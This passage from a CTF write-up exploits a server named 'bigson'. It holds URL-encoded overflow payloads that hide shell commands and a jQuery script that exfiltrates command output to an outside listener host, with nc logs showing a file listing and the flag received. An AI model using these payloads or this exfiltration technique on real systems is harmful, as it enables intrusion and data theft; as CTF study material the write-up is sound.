"127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00&%2E%8E%21%F7%FF%7F%00%00%80%8F%25%F7%FF%7F%00%00%60%F3%32%F7%FF%7F%00%00%65%63%68%6F%20%2D%65%6E%20%22%48%54%54%50%2F%31%2E%31%20%32%30%30%20%4F%4B%0D%0A%43%6F%6E%74%65%6E%74%2D%54%79%70%65%3A%20%74%65%78%74%2F%68%74%6D%6C%0D%0A%43%6F%6E%74%65%6E%74%2D%4C%65%6E%67%74%68%3A%20%31%30%30%0D%0A%0D%0A%20%60%64%61%74%65%60%20%22%20%3E%26%31%30%20%3B%20%65%78%69%74%3B=TESTINGVALUE" curl: (18) transfer closed with 69 bytes remaining to read Mon Apr 21 14:02:09 EEST 2014 == Remote exploitation == First I tested the exploit using **sleep** as before and everything worked ok. However, trying to write on the socket always produced an error in the XMLHttpRequest that I haven't gotten round to fixing. Fortunately, I came up with another idea to get the data out from there: since we can run any commands why not write into **/tmp/** the output of commands and then grab the contents using the "normal" behaviour of the bigson server? We tweak the javascript payload into the following: function do_requests(file_path, payload) { var response = ''; var geturl = ""; if (file_path != '') { geturl = "http://bigson.essolutions.largestctf.com/index?file=" + file_path; }; if (payload != '') { var base = "http://bigson.essolutions.largestctf.com/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa="; geturl = base + payload; }; $.ajax({ type: "GET", url: geturl, async: false, beforeSend : function (xhr) { xhr.overrideMimeType( "application/octet-stream; charset=x-user-defined" ); }, success : function(data, textStatus, jqXHR) { response += jqXHR.responseText; }, error: function(jqXHR, textStatus, ex) { response += "GET request error response:\n" + textStatus + "\n" + ex + "\n" + jqXHR.responseText + jqXHR.getAllResponseHeaders() + jqXHR.statusCode(); } }); if (file_path != '') { $.ajax({ type: "POST", url: "http://swarm.cs.pub.ro:42424", async: false, data: "POST request made. Response was:\n" + response, success : function(text) { } }); }; } function requests() { do_requests("", "%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00&%8A%BB%5E%7A%8B%7F%00%00%80%9F%62%7A%8B%7F%00%00%A0%F5%6E%7A%8B%7F%00%00%20%6C%73%20%2D%61%6C%20%2F%68%6F%6D%65%2F%62%69%67%73%6F%6E%20%3E%20%2F%74%6D%70%2F%73%75%70%65%72%5F%73%65%63%72%65%74%5F%6E%61%6D%65%7A%3B%20%65%78%69%74%3B=TESTINGVALUE"); do_requests("/tmp/super_secret_namez",""); } var script = document.createElement("SCRIPT"); script.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js'; script.type = 'text/javascript'; document.getElementsByTagName("head")[0].appendChild(script); script.onload = requests; And set the payload to: cmd += quote_string( struct.pack(" /tmp/super_secret_namez; exit;""") This is the result: rcaragea@swarm:~$ nc -lvp 42424 listening on [any] 42424 ... connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 37136 POST / HTTP/1.1 Origin: http://portal.essolutions.largestctf.com User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Referer: http://portal.essolutions.largestctf.com/login.php Content-Length: 338 Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en-US,* Host: swarm.cs.pub.ro:42424 POST request made. Response was: total 108 drwxr-xr-x 2 root root 4096 Apr 13 16:39 . drwxr-xr-x 4 root root 4096 Apr 12 22:44 .. -rwxr-xr-x 1 root root 94113 Apr 13 02:16 bigson -rw-r--r-- 1 root root 231 Apr 13 16:22 index.html -r--r----- 1 root bigson 30 Apr 12 22:49 really_weirdly_named_key_haha And cat on the file to receive: rcaragea@swarm:~$ nc -lvp 42424 listening on [any] 42424 ... connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 37160 POST / HTTP/1.1 Origin: http://portal.essolutions.largestctf.com User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Referer: http://portal.essolutions.largestctf.com/login.php Content-Length: 63 Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en-US,* Host: swarm.cs.pub.ro:42424 POST request made. Response was: WEB_you_hacked_the_bigson_WEB